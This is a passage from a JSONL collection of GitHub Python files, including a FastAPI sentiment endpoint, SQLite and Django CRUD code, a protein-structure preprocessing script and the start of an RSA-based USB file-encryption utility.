5*[0]\n for m in range(1,6):\n df[m-1] = np.inner(f,vecs[:,-m])/vals[-m] #chi-squared attempt\n return df\n\n\n\"\"\"Graph axis labelling etc\"\"\"\n#pl.xlabel('x axis') #some experiments with graph formatting\n#pl.ylabel('y axis')\n#pl.title('Title')\n#pl.text(0,0,r'Text')\n#pl.xlim(-20,20)\n#pl.ylim(-20,20)\n#pl.grid(True)\n#pl.savefig() for graph\n\n\n\"\"\"Stuff from ellip for graph plotting\"\"\"\n#params = [10,0.5,45]\n#K = profile(params)\n\n#R = (N-1)/2\n#x = np.linspace(-R,R,N)\n#X,Y = np.meshgrid(x,x)\n\n# M = np.log(abs(M)+1e-12)\n#lev = np.linspace(np.amin(K),np.amax(K),21)\n#pl.contour(X,Y,K, levels=[0,1,2,3,4,5])\n#pl.axes().set_aspect('equal')\n#pl.show() \n\n\n\n\n\n\n","repo_name":"psaha/UZHLensingProject","sub_path":"Extra code bits.py","file_name":"Extra code bits.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"24879288861","text":"# Collects the user's and neighbors\r\nmyname = input(\"What is your name? \")\r\nneighbor = input(\"What is your neighbor's name?\")\r\n\r\n# Collects the user's input for the prompt \"How old are you?\" and converts the string to an integer.\r\nmonths = int(input(\"How many months you have been coding?\"))\r\nnighbormonths = int(input(\"How many months your neighbor has been coding?\"))\r\n\r\ntotalmonths = months + nighbormonths\r\n\r\n# print names and total of age\r\nprint(myname + \" and \" + neighbor + \" have been coding for \" + str(totalmonths) + \" months.\")\r\n","repo_name":"Fernandarangel23/Activities","sub_path":"Week 3/Activities/Activity3_DownToInput.py","file_name":"Activity3_DownToInput.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"20671569257","text":"from typing import Union\nfrom fastapi import FastAPI\nfrom classifier import Classifier\nimport uvicorn\n\napp = FastAPI(title=\"Sentiment Analysis API\",\n description=\"API to predict sentiment of given text\",\n version=\"1.0\")\n\n@app.on_event('startup')\ndef load_classifier():\n global clf\n clf = Classifier()\n\n@app.get(\"/\")\ndef read_root():\n return {\"message\": \"Welcome to the Sentiment Analysis API\"}\n\n@app.get(\"/api\")\ndef root(text: Union[str, None] = None):\n prediction = clf.classify(text)\n \n return {\"sentiment\": prediction}\n\nif __name__ == \"__main__\":\n uvicorn.run(\"main:app\", host=\"0.0.0.0\", port=8000, reload=True)","repo_name":"jatindalal/sentiment-analysis-api","sub_path":"backend/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"38833892354","text":"import time\nimport requests\nfrom bs4 import BeautifulSoup, NavigableString, Comment\nfrom Public import VerifyCode\nfrom Public import PublicFun\nimport json\n \ndef get_session() :\n \"\"\"取得session\n return:\n session\n \"\"\"\n session = requests.Session()\n return session\n\ndef get_header_with_hostname(hostname) :\n \"\"\"取得包含hostname的request header\n return:\n reques header\n \"\"\"\n return {\"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\"\n , \"Accept-Encoding\": \"gzip, deflate\"\n , \"Accept-Language\": \"zh-TW,zh;q=0.9,en;q=0.8,en-US;q=0.7\"\n , \"Connection\": \"keep-alive\"\n , \"Upgrade-Insecure-Requests\" : \"1\"\n , \"Cache-Control\" : \"max-age=0\"\n , \"Host\": hostname\n , \"Upgrade-Insecure-Requests\": \"1\"\n , \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36\" }\n \ndef send_get_request(logger, session, url, header, timeout = 180) :\n \"\"\"送出get method的request\n args:\n logger: logger\n session: session\n url: url\n header: request header\n timeout: timeout\n return\n response\n \"\"\"\n retry_limit = 10\n retry_times = 0\n resp = None\n while True :\n try:\n resp = session.get(url, headers = header, timeout = timeout)\n if url not in resp.url : \n url = resp.url\n raise Exception(\"重新導向URL : \" + resp.url)\n break\n except Exception as e :\n if logger:\n logger.error(e)\n retry_times += 1\n time.sleep(2)\n if retry_times > retry_limit:\n raise Exception(\"URL:\" + url + \" ,超過最大重試次數\")\n \n return resp","repo_name":"HankTsai/Crwawler","sub_path":"costco/CatchCostcoUtil.py","file_name":"CatchCostcoUtil.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33118990044","text":"import sys\n\n\nclass parts:\n def UI_set(self, UI_auxiliary):\n\n pos_y_normal = 20\n text_box_size = 100\n xgap = 5\n ygap = 5\n left = 50\n up_normal = 30\n\n UI_auxiliary.new_diagram(\"text\", diagram_type=\"text\")\n #UI_auxiliary.edit_diagram_position(\"text\", x=0, y=pos_y_normal)\n UI_auxiliary.edit_diagram_size(\"text\", x=0, y=20)\n UI_auxiliary.edit_diagram_text(\"text\", font_size=20)\n\n UI_auxiliary.new_diagram(\"textbox1\", diagram_type=\"textbox\")\n #UI_auxiliary.edit_diagram_position(\"textbox1\", x=200, y=pos_y_normal)\n UI_auxiliary.edit_diagram_size(\"textbox1\", x=100, y=20)\n\n UI_auxiliary.new_diagram(\"textbox2\", diagram_type=\"textbox\")\n #UI_auxiliary.edit_diagram_position(\"textbox2\", x=400, y=pos_y_normal)\n UI_auxiliary.edit_diagram_size(\"textbox2\", x=100, y=20)\n\n UI_auxiliary.new_diagram(\"textbox3\", diagram_type=\"textbox\")\n #UI_auxiliary.edit_diagram_position(\"textbox2\", x=400, y=pos_y_normal)\n UI_auxiliary.edit_diagram_size(\"textbox3\", x=100, y=20)\n\n def textbox1(text):\n print(text)\n\n def textbox2(text):\n print(text)\n\n def file_open(e=None):\n default = UI_auxiliary.get_text(\"textbox1\")\n file_open_text = UI_auxiliary.open_file_select(default)\n UI_auxiliary.edit_diagram_text(\"textbox1\", text=file_open_text)\n UI_auxiliary.run_entry_event_callback(\"textbox1\")\n\n def request_easing(e=None):\n easing_data, media_id, effect_id, mov_key = UI_auxiliary.get_easing_func()\n info = (easing_data.gx, easing_data.gy, easing_data.rx, easing_data.ry, media_id, effect_id, mov_key)\n UI_auxiliary.edit_control_auxiliary.callback_operation.event(\"easing_request\", info=info)\n\n UI_auxiliary.callback_operation = UI_auxiliary.operation[\"plugin\"][\"other\"][\"callback\"].CallBack()\n\n UI_auxiliary.file_path_open_flag = False\n UI_auxiliary.easing_flag = False\n\n def file_path_open_del_button():\n if UI_auxiliary.file_path_open_flag:\n UI_auxiliary.button_parameter_control_file.del_territory()\n if UI_auxiliary.easing_flag:\n UI_auxiliary.button_parameter_control_easing.del_territory()\n\n UI_auxiliary.callback_operation.set_event(\"parameter_diagram_del\", file_path_open_del_button)\n\n def parameter_ui_set(motion=False, column=0, text=None, text_a=None, text_b=None, text_c=None, text_a_return=None, text_b_return=None, text_c_return=None, text_fixed=None, file_path=False, get_easing_func=None):\n\n # pos_y_normal\n # text_box_size\n # xgap\n # ygap\n\n pos_y = (pos_y_normal + ygap) * column + up_normal\n text_fixed_x_size = (text_box_size + xgap) * 3 - xgap\n\n textbox1_x = left + (text_box_size + xgap) * 0\n textbox2_x = left + (text_box_size + xgap) * 1\n textbox3_x = left + (text_box_size + xgap) * 2\n textbox4_x = left + (text_box_size + xgap) * 3\n\n UI_auxiliary.get_easing_func = get_easing_func\n UI_auxiliary.edit_diagram_text(\"text\", text=text)\n UI_auxiliary.edit_diagram_text(\"textbox1\", text=text_a, entry_event=text_a_return)\n UI_auxiliary.edit_diagram_text(\"textbox2\", readonly=1-motion, text=text_b, entry_event=text_b_return)\n UI_auxiliary.edit_diagram_position(\"text\", x=left / 2, y=pos_y)\n UI_auxiliary.edit_diagram_position(\"textbox1\", x=textbox1_x, y=pos_y)\n UI_auxiliary.edit_diagram_position(\"textbox2\", x=textbox2_x, y=pos_y)\n UI_auxiliary.edit_diagram_text(\"textbox3\", text=text_c, entry_event=text_c_return)\n UI_auxiliary.edit_diagram_position(\"textbox3\", x=textbox3_x, y=pos_y)\n\n if text_fixed and file_path:\n print(\"text_fixed and file_path\")\n\n new_button_for_parameter = UI_auxiliary.edit_control_auxiliary.callback_operation.get_event(\"new_button_for_parameter\", 0)\n UI_auxiliary.button_parameter_control_file = new_button_for_parameter() # effect_controller ←40行付近呼び出し先\n UI_auxiliary.button_parameter_control_file.edit_diagram_text(\"text\", \"ファイル設定\", font_size=15)\n UI_auxiliary.button_parameter_control_file.edit_territory_position(x=textbox4_x, y=pos_y)\n UI_auxiliary.button_parameter_control_file.edit_territory_size(x=100, y=20)\n UI_auxiliary.button_parameter_control_file.edit_diagram_color(\"background\", \"#44ff44\")\n UI_auxiliary.button_parameter_control_file.diagram_stack(\"text\", True)\n UI_auxiliary.button_parameter_control_file.territory_draw()\n UI_auxiliary.button_parameter_control_file.add_diagram_event(\"text\", \"Button-1\", file_open)\n UI_auxiliary.button_parameter_control_file.add_diagram_event(\"background\", \"Button-1\", file_open)\n UI_auxiliary.file_path_open_flag = True\n\n elif UI_auxiliary.file_path_open_flag:\n UI_auxiliary.button_parameter_control_file.del_territory()\n\n elif UI_auxiliary.easing_flag:\n UI_auxiliary.button_parameter_control_easing.del_territory()\n\n if text_fixed:\n UI_auxiliary.diagram_forget(\"textbox2\", True)\n UI_auxiliary.diagram_forget(\"textbox3\", True)\n UI_auxiliary.edit_diagram_size(\"textbox1\", x=text_fixed_x_size)\n #UI_auxiliary.edit_diagram_text(\"textbox1\", set_int_type=False)\n #UI_auxiliary.edit_diagram_text(\"textbox2\", set_int_type=False)\n\n else:\n UI_auxiliary.diagram_forget(\"textbox2\", False)\n UI_auxiliary.edit_diagram_size(\"textbox1\", x=text_box_size, y=pos_y_normal)\n UI_auxiliary.edit_diagram_size(\"textbox3\", x=text_box_size, y=pos_y_normal)\n #UI_auxiliary.edit_diagram_text(\"textbox1\", set_int_type=True)\n #UI_auxiliary.edit_diagram_text(\"textbox2\", set_int_type=True)\n\n new_button_for_parameter = UI_auxiliary.edit_control_auxiliary.callback_operation.get_event(\"new_button_for_parameter\", 0)\n UI_auxiliary.button_parameter_control_easing = new_button_for_parameter() # effect_controller ←40行付近呼び出し先\n UI_auxiliary.button_parameter_control_easing.edit_diagram_text(\"text\", \"イージング設定\", font_size=15)\n UI_auxiliary.button_parameter_control_easing.edit_territory_position(x=textbox4_x, y=pos_y)\n UI_auxiliary.button_parameter_control_easing.edit_territory_size(x=text_box_size, y=pos_y_normal)\n UI_auxiliary.button_parameter_control_easing.edit_diagram_color(\"background\", \"#44ff44\")\n UI_auxiliary.button_parameter_control_easing.diagram_stack(\"text\", True)\n UI_auxiliary.button_parameter_control_easing.territory_draw()\n UI_auxiliary.button_parameter_control_easing.add_diagram_event(\"text\", \"Button-1\", request_easing)\n UI_auxiliary.button_parameter_control_easing.add_diagram_event(\"background\", \"Button-1\", request_easing)\n UI_auxiliary.easing_flag = True\n\n UI_auxiliary.territory_draw()\n\n UI_auxiliary.parameter_ui_set = parameter_ui_set\n\n return UI_auxiliary\n","repo_name":"Shio3001/SaltMV","sub_path":"pysrc/plugin/GUI_UI/parameter.py","file_name":"parameter.py","file_ext":"py","file_size_in_byte":7457,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"29"} +{"seq_id":"34154061766","text":"from setuptools import setup, find_packages\nfrom codecs import open\nfrom os import path\n\n__version__ = '0.0.4'\n\nhere = path.abspath(path.dirname(__file__))\n\n# get the dependencies and installs\nwith open(path.join(here, 'requirements.txt'), encoding='utf-8') as f:\n all_reqs = f.read().split('\\n')\n\ninstall_requires = [x.strip() for x in all_reqs if 'git+' not in x]\ndependency_links = [x.strip().replace('git+', '') for x in all_reqs if x.startswith('git+')]\n\nsetup(\n name='mlfromscratch',\n version=__version__,\n description='Python implementations of some of the fundamental Machine Learning models and algorithms from scratch.',\n url='https://github.com/eriklindernoren/ML-From-Scratch',\n download_url='https://github.com/eriklindernoren/ML-From-Scratch/tarball/master',\n license='MIT',\n packages=find_packages(),\n include_package_data=True,\n author='Erik Linder-Noren',\n install_requires=install_requires,\n setup_requires=['numpy>=1.10', 'scipy>=0.17'],\n dependency_links=dependency_links,\n author_email='eriklindernoren@gmail.com'\n)","repo_name":"eriklindernoren/ML-From-Scratch","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":22588,"dataset":"github-code","pt":"29"} +{"seq_id":"28704210532","text":"from recorder import *\n\n\ndef analysis():\n while True:\n print('>>>>>> Enter your question (To EXIT, enter 0 <<<<<<')\n q = input('Your question? ')\n if q.isnumeric() and int(q) == 0:\n break\n rec = Recorder()\n q = q.lower()\n if q == 'number of clubs':\n clubs = rec.read_yaml('Club')\n print(f'number of clubs = {len(clubs)}')\n elif q == 'number of students':\n students = rec.read_yaml('Student')\n print(f'number of students = {len(students)}')\n elif q == 'who has the biggest spending':\n registers = rec.read_yaml('Register')\n registers = convert_to_register_objects(registers)\n max_total = 0\n for regID in range(1, len(registers)+1):\n register = registers[regID]\n if max_total < total(register)[0]:\n max_total = total(register)[0]\n maxname = total(register)[1]\n print(maxname)\n\n else:\n print('Sorry, Cashier does not understand your question')\n\n\ndef total(Obj):\n rec = Recorder()\n clubs = rec.read_yaml('Club')\n students = rec.read_yaml('Student')\n student_name = students[Obj.sID]['name'].capitalize()\n item_counter, total_price = 0, 0\n for pID, qty in Obj.cID_qty_dict.items():\n item_counter = item_counter + 1\n price = clubs[pID]['unitprice']\n item_price = qty * price\n total_price = total_price + item_price\n inf = [total_price, student_name]\n return inf\n","repo_name":"huyyuh0801/python_intro_UQ","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"11557467204","text":"import sys\nimport pathlib\nimport os\nparent_parent_path = str(pathlib.Path(__file__).parent.parent.absolute())\nsys.path.append(os.path.join(parent_parent_path, 'utils'))\n\nimport utils\nfrom dictianory import slef_made_codes\nimport sqlite3\nfrom sqlite3 import Error\nimport itertools\n\ndef create_connection(db_file):\n conn = None\n try:\n conn = sqlite3.connect(db_file, check_same_thread=False)\n print('Connected to database using SQLite', sqlite3.version)\n except Error as e:\n print(e)\n return conn\n\ndef create_table(conn, create_table_sql):\n try:\n c = conn.cursor()\n c.execute(create_table_sql)\n except Error as e:\n utils.error_log(e)\n\n### Experiments\ndef insert_experiment_to_db(conn, Author, date, Tags, File_Path, Notes, conditions, experiment_name, parent_experiment):\n try:\n conditions_parsed = utils.parse_conditions(conditions)\n Tags_parsed = utils.parse_tags(Tags)\n insert_tag(conn, Tags_parsed)\n insert_conditions(conn, conditions_parsed)\n insert_author(conn, Author)\n cursor = conn.cursor()\n hash_id = utils.generate_hash(conn)\n rows = [(hash_id, Tags, Notes, File_Path, date, Author, conditions, experiment_name, parent_experiment, None)]\n cursor.executemany('insert into experiments values (?,?,?,?,?,?,?,?,?,?)', rows)\n conn.commit()\n success_bool = 1\n except Error as e:\n utils.error_log(e)\n success_bool = 0\n hash_id = None\n return success_bool, hash_id\n\ndef update_experiment_in_db(conn, id, post_form, app_config, hash_id, Files):\n try:\n date = post_form['date']\n Tags = post_form['Tags']\n File_Path = post_form['File_Path']\n Notes = post_form['Notes']\n experiment_name = post_form['experiment_name']\n parent_experiment = post_form['parent_experiment']\n\n Tags_parsed = utils.parse_tags(Tags)\n insert_tag(conn, Tags_parsed)\n\n if len(Files) > 0:\n utils.upload_files(app_config, hash_id, Files)\n\n Files2remove = []\n for form_input in post_form:\n try:\n if slef_made_codes[form_input.split('&')[0]] == 'remove':\n Files2remove.append(form_input.split('&')[1])\n except:\n pass\n\n if len(Files2remove) > 0:\n utils.remove_files(app_config, hash_id, Files2remove)\n\n conditions = []\n for form_input in post_form:\n if 'condition' == form_input.split('&')[0]:\n conditions.append('&'.join(form_input.split('&')[1:]))\n elif 'PARAM' == form_input.split('&')[0]:\n list_tmp = form_input.split('&')[2:]\n list_tmp.append(post_form[f\"PARAMVALUE&{'&'.join(form_input.split('&')[1:])}\"].split('&')[-1])\n list_tmp = '&'.join(list_tmp)\n conditions.append(list_tmp)\n \n conditions = ','.join(conditions)\n cursor = conn.cursor()\n rows = [(Tags, Notes, File_Path, date, conditions, experiment_name, parent_experiment, id)]\n cursor.executemany('update experiments set tags=?, extra_txt=?, file_path=?, date=?, conditions=?, experiment_name=?, experiment_parent=? where id=?', rows)\n conn.commit()\n success_bool = 1\n\n except Error as e:\n utils.error_log(e)\n success_bool = 0\n return success_bool\n\ndef delete_experiment_from_db(conn, id):\n try:\n hash_id = utils.get_hash_id_by_experiment_id(conn, id)\n cursor = conn.cursor()\n cursor.execute('delete from experiments where id=?', (id,))\n conn.commit()\n remove_deleted_experiment_as_parent(conn, hash_id)\n delete_author(conn, id)\n success_bool = 1\n except Error as e:\n utils.error_log(e)\n success_bool = 0\n return success_bool\n\n\ndef remove_deleted_experiment_as_parent(conn, hash_id):\n try:\n cursor = conn.cursor()\n cursor.execute(\"update experiments set experiment_parent='' where experiment_parent=?\", (hash_id,))\n conn.commit()\n success_bool = 1\n except Error as e:\n utils.error_log(e)\n success_bool = 0\n return success_bool\n### Experiments\n\n\n### Tags\ndef insert_tag(conn, Tags_parsed):\n try:\n for tag in Tags_parsed:\n if not utils.check_existence_tag(conn, tag):\n cursor = conn.cursor()\n rows = [(tag, None)]\n cursor.executemany('insert into tags values (?, ?)', rows)\n conn.commit()\n success_bool = 1\n except Error as e:\n utils.error_log(e)\n success_bool = 0\n return success_bool\n### Tags\n\n\n### Authors\ndef insert_author(conn, Author):\n try:\n if not utils.check_existence_author(conn, Author):\n cursor = conn.cursor()\n rows = [(Author, None)]\n cursor.executemany('insert into authors values (?, ?)', rows)\n conn.commit()\n success_bool = 1\n except Error as e:\n utils.error_log(e)\n success_bool = 0\n return success_bool\n\ndef delete_author(conn, id):\n if not utils.check_existence_author(conn, id):\n cursor = conn.cursor()\n cursor.execute('delete from authors where id=?', (id,))\n conn.commit()\n### Authors\n\n\n### Conditions\ndef insert_conditions(conn, conditions):\n try:\n for condition in conditions:\n if not utils.check_existence_condition(conn, condition):\n cursor = conn.cursor()\n rows = [(condition, None)]\n cursor.executemany('insert into conditions values (?, ?)', rows)\n conn.commit()\n success_bool = 1\n except Error as e:\n utils.error_log(e)\n success_bool = 0\n return success_bool\n\ndef update_conditions_templates(conn, post_form, username):\n post_form = post_form.to_dict()\n new_template_name = post_form['new_template_name']\n conditions = []\n for key, _ in post_form.items():\n if 'condition' == key.split('&')[0]:\n conditions.append(key.split('&')[1:])\n elif 'PARAM' == key.split('&')[0]:\n list_tmp = key.split('&')[2:]\n list_tmp.append(post_form[f\"PARAMVALUE&{'&'.join(key.split('&')[1:])}\"].split('&')[-1])\n conditions.append(list_tmp)\n conditions_dict = {}\n for key, group in itertools.groupby(conditions, lambda x: x[0]):\n conditions_dict[key] = list(group)\n for template_name in conditions_dict.keys():\n condition_this_template_list = conditions_dict[template_name]\n for indx, condition_this_template in enumerate(condition_this_template_list):\n condition_this_template_list[indx] = '&'.join(condition_this_template[1:])\n condition_this_template_list = ','.join(condition_this_template_list)\n cursor = conn.cursor()\n if template_name == 'default':\n cursor.execute('insert into conditions_templates values (?, ?, ?, ?)', (username, new_template_name, condition_this_template_list, None))\n elif template_name != '':\n cursor.execute('update conditions_templates set conditions=? where author=? and template_name=?', (condition_this_template_list, username, template_name))\n conn.commit()\n \n for key, _ in post_form.items():\n if 'delete' == key.split('&')[0]:\n # remove template\n template_name = key.split('&')[1]\n cursor = conn.cursor()\n cursor.execute('delete from conditions_templates where author=? and template_name=?', (username, template_name))\n conn.commit()\n \n return True\n### Conditions","repo_name":"AminAlam/Data-Manager","sub_path":"src/database/operators.py","file_name":"operators.py","file_ext":"py","file_size_in_byte":7666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"74333425678","text":"from django.contrib.auth.models import UserManager\nfrom store_owner.models import Stock\nfrom django.shortcuts import render\nfrom .models import *\nfrom store_owner.serializers import ShopOwnerSerializer\nfrom .serializers import RequestSerializer ,MedNameSerializer, MedReqSerializer\nfrom meds.models import MedList\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\n\nfrom rest_framework.authtoken.views import obtain_auth_token\n\nfrom customer import serializers\n\n\n\n@api_view(['POST'])\ndef RegisterUsers(request):\n email = request.data['email']\n password = request.data['password']\n first_name = request.data['first_name']\n last_name = request.data['last_name']\n phoneNum = request.data['phoneNum']\n if not User.objects.filter(username=email).exists() or not User.objects.filter(email=email).exists():\n user = User(username=email, email=email, first_name=first_name, last_name=last_name)\n user.set_password(password)\n user.save()\n Customer.objects.create(user=user, phoneNum = phoneNum)\n return Response('Successfully registered')\n\n else:\n return Response('this email already exists')\n\n@api_view(['POST'])\ndef LoginUser(request):\n username = request.data['username']\n name = User.objects.get(username=username).first_name\n phoneNum = str(Customer.objects.get(user__username=username).phoneNum)\n data = {'name': name, 'phoneNum': phoneNum}\n return Response(data)\n\n@api_view(['POST'])\ndef RequestList(request):\n requests = Request.objects.filter(customer__user__email = request.data['email'])\n serializer = RequestSerializer(requests, many=True)\n return Response(serializer.data)\n\n@api_view(['POST'])\ndef CreateRequest(request):\n medName = request.data['medName']\n latitude = request.data['latitude']\n longitude = request.data['longitude']\n try:\n medName = MedList.objects.get(name=medName)\n except MedList.DoesNotExist:\n medName = MedList.objects.create(name=medName)\n medQnty = int(request.data['medQnty'])\n customer = Customer.objects.get(user__email = request.data['email'])\n try:\n request = Request.objects.get(customer=customer, medName=medName)\n if request.completed == False:\n return Response('Order already exists')\n else:\n request = Request.objects.create(customer=customer, medName=medName, medQnty=medQnty, latitude=latitude, longitude=longitude)\n return Response('Request generated')\n except Request.DoesNotExist:\n request = Request.objects.create(customer=customer, medName=medName, medQnty=medQnty, latitude=latitude, longitude=longitude)\n return Response('Request generated')\n\n@api_view(['POST'])\ndef SearchMeds(request):\n medName = request.data['medName']\n try:\n medName = MedList.objects.get(name=medName)\n except MedList.DoesNotExist:\n return Response('Medicine is not available')\n medQnty = int(request.data['medQnty'])\n stocks = Stock.objects.filter(medName=medName, medQnty__gte = medQnty)\n shopowners = []\n for stock in stocks:\n shopowners.append(stock.storeOwner) \n if len(shopowners) == 0:\n return Response(str(medName.name) + ' is not available in the desired quantity')\n serializer = ShopOwnerSerializer(shopowners, many=True)\n return Response(serializer.data)\n\n\n@api_view(['GET'])\ndef GetMedList(request):\n medicines = MedList.objects.all()\n serializer = MedReqSerializer(medicines, many=True)\n return Response(serializer.data)\n","repo_name":"abhinavec1/AmazonBackend","sub_path":"customer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"38399444065","text":"import numpy as np\nimport wget\nimport sys\nimport haxis\nimport os\nfrom urllib.error import HTTPError\n\ndef get_inps():\n\n\tf = open(sys.argv[1], 'r')\n\tlines = f.readlines()\n\tf.close()\n\n\td = {}\n\tfor line in lines:\n\t\tif len(line.strip().split()) > 1:\n\t\t\ta,b = line.strip().split()\n\t\t\td[a] = b\n\n\tif d['script_dir'] == '.':\n\t\td['script_dir'] = ''\n\n\treturn d\n\ndef check_chain(fi):\n f = open(fi, 'r')\n lines = f.readlines()\n f.close()\n\n d = {}\n for line in lines:\n if 'ENDMDL' in line:\n break\n if 'ATOM' == line.strip().split()[0]:\n temp = line[20:22].strip()\n if temp not in d:\n d[temp] = 1\n return d\n\n\ndef make(i):\n if i[-4:] != '.pdb':\n return None\n k = check_chain(i)\n if len(k) > 8:\n print (i,'is ignored due to large number of chains !')\n return None\n\n g = open('temp', 'w')\n g.write(\"\"\" \n\n\n\n\"\"\")\n name = i.split('.')[0]\n for j in k:\n g.write(name+'\\t'+j+'\\n')\n\n g.close()\n\n return 1\n\ndef data(fi):\n f = open(fi, 'r')\n lines = f.readlines()\n f.close()\n\n k, t = [], []\n ref = 1\n\n for line in lines:\n if ref and len(line.strip().split()) == 0:\n break\n if ref:\n temp = line.strip().split()\n k.append(float(temp[1]))\n t.append(float(temp[2]))\n #print fi\n #print lines[12]\n return k,t\n\ndef t_k(tar, dat):\n if tar not in dat:\n #print (tar)\n return None\n #print dat[tar][0]\n t, k = [], []\n if len(dat[tar]) > 6:\n #print (tar, len(dat[tar]))\n return None\n for i,j in dat[tar]:\n if len(i) > 1500 or len(i) < 1:\n print (tar, len(dat[tar]), len(i))\n\n return None\n t += i + [0]*(1500 -len(i))\n k += j + [0]*(1500 -len(i))\n #print len(i)\n #exit()\n return [t+[0]*(9000 - len(t)), k+[0]*(9000 - len(k))]#k+[0]*(18000 - len(t+k)) \n\ndef job(pdb):\n if pdb not in os.listdir('.'):\n try :\n url = 'https://files.rcsb.org/download/'+pdb[:4].upper()+'.pdb'\n wget.download(url,pdb[:4]+'.pdb')\n except HTTPError:\n print ('Error while downloading:', pdb[:4])\n return None\n\n make(pdb)\n haxis.haxis('temp')\n d = {}\n\n filename = pdb.split('.')[0]\n\n for file in os.listdir('.'):\n if file[-5:] == '.htxt' and file[:len(filename)] == filename:\n k, t = data(file)\n if file[:-6] in d:\n d[file[:-6]].append([k,t])\n else:\n d[file[:-6]] = [[k,t]]\n\n proteins = np.array(t_k(filename, d)).T\n\n return proteins\n\n\nif __name__ == '__main__':\n d = get_inps()\n data_file = d['data_file']\n path = d['targets_dir']\n\n\n f = open(d['data_file'], 'r')\n lines = f.readlines()\n f.close()\n\n os.chdir(path)\n\n targets = {}\n\n for line in lines:\n if len(line.strip().split()) == 0:\n continue\n pdb = line.strip().split()[1] + '.pdb'\n\n if pdb[:-4] in targets:\n continue\n try:\n protein = job(pdb)\n except ZeroDivisionError:\n print (pdb, 'ignored due to math error!')\n if protein is not None:\n targets[pdb[:-4]] = protein\n\n np.save('target_data.npy', targets)\n\n\n\n\n","repo_name":"ekraka/SSnet","sub_path":"SSnet_ECF/preprocessing_target.py","file_name":"preprocessing_target.py","file_ext":"py","file_size_in_byte":3760,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"29"} +{"seq_id":"39003935880","text":"__title__ = \"usb.enc\"\n__version__ = \"1.0.0\"\n\n__author__ = \"Da4ndo\"\n__discord__ = \"Da4ndo#0934\"\n__github__ = \"https://github.com/Da4ndo\"\n__licence__ = \"MIT\"\n\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import padding\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import serialization\nimport os, sys\nimport argparse\nimport base64\nfrom zipfile import ZipFile\nimport os\nimport win32api\n\nclass Cipher:\n class Type:\n PUBLIC_KEY = \"public\"\n PRIVATE_KEY = \"private\"\n\n def generate_keys(**options):\n private_key = rsa.generate_private_key(\n public_exponent=options.get(\"public_exponent\", 65537),\n key_size=options.get(\"key_size\", 2048),\n backend=options.get(\"backend\", default_backend())\n )\n\n public_key = private_key.public_key()\n\n return private_key, public_key\n\n def import_from_bytes(text, key_type, **options):\n if key_type == \"private\":\n key = serialization.load_pem_private_key(text, **options)\n \n elif key_type == \"public\":\n key = serialization.load_pem_public_key(text, **options)\n \n return key\n \n def export_to_bytes(key, key_type, **options):\n if key_type == \"private\":\n pem = key.private_bytes(**options)\n \n elif key_type == \"public\":\n pem = key.public_bytes(**options)\n \n return pem\n\n def export_to_file(filename, key, key_type, **options):\n if key_type == \"private\":\n pem = key.private_bytes(\n encoding=serialization.Encoding.PEM,\n format=serialization.PrivateFormat.PKCS8,\n encryption_algorithm=options.get(\"encryption_algorithm\", serialization.NoEncryption())\n )\n \n elif key_type == \"public\":\n pem = key.public_bytes(\n encoding=serialization.Encoding.PEM,\n format=serialization.PublicFormat.SubjectPublicKeyInfo\n )\n\n with open(filename, 'wb') as f:\n f.write(pem)\n\n def import_from_file(filename, key_type, **options):\n if key_type == \"private\":\n with open(filename, \"rb\") as key_file:\n key = serialization.load_pem_private_key(\n key_file.read(),\n password=options.get(\"password\", None),\n backend=default_backend()\n )\n \n elif key_type == \"public\":\n with open(filename, \"rb\") as key_file:\n key = serialization.load_pem_public_key(\n key_file.read(),\n backend=default_backend()\n )\n \n return key\n\n def encrypt(public_key, bytes):\n encrypted = public_key.encrypt(\n bytes,\n padding.OAEP(\n mgf=padding.MGF1(algorithm=hashes.SHA256()),\n algorithm=hashes.SHA256(),\n label=None\n )\n )\n return encrypted\n\n def decrypt(private_key, encrypted_bytes):\n original_message = private_key.decrypt(\n encrypted_bytes,\n padding.OAEP(\n mgf=padding.MGF1(algorithm=hashes.SHA256()),\n algorithm=hashes.SHA256(),\n label=None\n )\n )\n return original_message\n\n def get_private_key_location():\n dl = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\n drives = ['%s:' % d for d in dl if os.path.exists('%s:' % d)]\n for drive in drives:\n res = win32api.GetVolumeInformation(drive + \"\\\\\")\n if res[0] == \"ENC_PRIVATE\":\n return drive + \"\\\\private.key\"\n return None\n \n def encrypt_file(public_key, filename, encrypted_filename, pk_lenght):\n with open(filename, 'rb') as f:\n file_bytes = f.read()\n\n erd = str(len(file_bytes) / pk_lenght).split(\".\")\n szam = int(erd[0])\n if erd[1] != \"0\":\n szam += 1\n\n bytes_list = []\n for 